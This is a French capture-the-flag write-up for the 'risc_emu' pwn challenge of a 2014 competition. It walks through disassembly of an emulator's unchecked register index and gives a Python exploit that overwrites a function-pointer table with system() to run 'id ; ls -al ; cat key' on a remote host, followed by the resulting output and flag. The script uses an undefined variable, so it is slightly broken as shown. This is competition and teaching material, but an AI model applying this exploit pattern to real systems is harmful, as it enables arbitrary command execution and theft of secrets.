FR EN

Risc_emu - pwn 100

Zen garden - pwn 300 >>

Comme son nom l'indique, risc_emu est un petit émulateur de CPU RISC, écrit en C++ et compilé pour x64. On doit lui donner en entrée un bytecode en base64 qui est ensuite exécuté. L'exécutable est de taille modeste, je ne vais donc pas rentrer dans les détails.

Le main() commence par initialiser la table des opcodes, main::fun : 10 opcodes de 0 à 9 (add, addi, sub, subi, mmul, mdiv, mxor, mand, mor, term) dans l'ordre. Le bytecode est pris sur l'entrée standard par cin >>, ce qui signifie qu'il est de longueur arbitraire. Il est ensuite décodé, puis recopié dans main::buf, situé 0x90 bytes avant main::fun. Cependant, juste après l'initialisation de main::fun, un cookie (qui correspond simplement au premier rand() de srand(time(0))) est placé juste à la fin de main::buf, et vérifié avant toute exécution de bytecode.

Il y a plusieurs manières d'exploiter cette exécutable : la première est de faire un bruteforce gentillet sur le time(0) distant, afin de pouvoir prévoir le cookie, simplement écraser le pointeur de fonction du premier opcode, puis exécuter cette instruction. Il y avait également une vulnérabilité dans la sémantique des instructions subi et addi :

public _Z4subiPKc
_Z4subiPKc proc near

var_18= dword ptr -18h
var_14= dword ptr -14h
var_10= dword ptr -10h
var_C= dword ptr -0Ch
var_8= qword ptr -8

push    rbp
mov     rbp, rsp
sub     rsp, 20h
lea     rax, ds:4037F5h //db 'subi %d 0x%02x%02x',0Ah,0
mov     [rbp+var_8], rdi
mov     rdi, [rbp+var_8]
movzx   ecx, byte ptr [rdi]
mov     [rbp+var_C], ecx   // index registre
mov     rdi, [rbp+var_8]
movzx   ecx, byte ptr [rdi+1]
mov     [rbp+var_10], ecx // byte immediate de poids fort
mov     rdi, [rbp+var_8]
movzx   ecx, byte ptr [rdi+2]
mov     [rbp+var_14], ecx // byte immediate de poids faible
mov     esi, [rbp+var_C]
mov     edx, [rbp+var_10]
mov     ecx, [rbp+var_14]
mov     rdi, rax        ; format
mov     al, 0
call    _printf
movsxd  rdi, [rbp+var_C]
mov     ecx, dword ptr ds:r[rdi*4] // r à 0x604b50
mov     edx, [rbp+var_10]
shl     edx, 8
sub     ecx, edx
sub     ecx, [rbp+var_14]
movsxd  rdi, [rbp+var_C]
mov     dword ptr ds:r[rdi*4], ecx
mov     [rbp+var_18], eax
add     rsp, 20h
pop     rbp
retn
_Z4subiPKc endp

En effet, le subi prend deux paramètres : le premier byte est l'index d'un registre (les registres sont stockés dans r), et les deux bytes suivant forment un entier de 16 bytes big-endian à soustraire à ce regisre. Comme on le voit dans le disas ci-dessus, il n'y a pas de vérification sur l'index du registre, on peut donc modifier n'importe quel entier entre r et r+4*256 (=0x604f50). Comme main::fun va de 0x604c10 à 0x604c60, on peut modifier n'importe quel pointeur de la table.

Pour faciliter l'exploitation, system() était présent dans les symboles de l'application. Il suffit donc de remplacer un des pointeurs de fonction par son adresse dans la PLT, et le contenu de notre instruction est passé à system() lors de l'exécution de l'instruction détournée :

	
#!/usr/bin/python

import socket
import base64
import struct

HOST = "54.218.22.41"
PORT = 4545
CMD = "id ; ls -al ; cat key"

s = socket.socket()
s.connect((HOST, PORT))
recv_timeout(s)

registers = 0x604b50
opcode_table = 0x604c10
target_opcode = 9
term_i_handler = 0x4024c0
system_plt = 0x4010d0

rnum = ((opcode_table + target_opcode*8) - registers)/4
baseval = term_i_handler

payload = ""
while baseval != system_plt:
 diff = baseval - target
 if diff > 0xffff:
  diff = 0xffff
 instr = "\x03" + chr(rnum) + struct.pack(">H", diff)
 payload += instr
 baseval -= diff
payload += chr(target_opcode) + CMD + "\x00"
s.sendall(base64.standard_b64encode(payload) + "\n")
print s.recv(4096)

Résultat de l'exécution :

$ ./pwn100.py
RISC CPU Emulator BkP 2014
Give me your bytecode!
Please give me your bytecode base64'd:
Got it, executing A0IT8AlpZCA7IGxzIC1hbCA7IGNhdCBrZXkA now!
subi 66 0x13f0
uid=1000(riscemu) gid=1000(riscemu) groups=1000(riscemu)
total 60
drwxr-xr-x 2 root    root     4096 Feb 28 16:59 .
drwxr-xr-x 3 root    root     4096 Feb 28 16:00 ..
-rw------- 1 riscemu riscemu   392 Feb 28 17:00 .bash_history
-rw-r--r-- 1 riscemu riscemu   220 Feb 28 16:00 .bash_logout
-rw-r--r-- 1 riscemu riscemu  3486 Feb 28 16:00 .bashrc
-rw-r--r-- 1 riscemu riscemu   675 Feb 28 16:00 .profile
-rwxr-xr-x 1 root    root    30291 Feb 28 16:10 emu
-rw-rw-r-- 1 root    root       44 Feb 28 16:59 key
flag{stupid_boston_leprechauns_and_geohots}
I don't recognize opcode 0x3b

D'où le flag: stupid_boston_leprechauns_and_geohots.

Zen garden - pwn 300 >>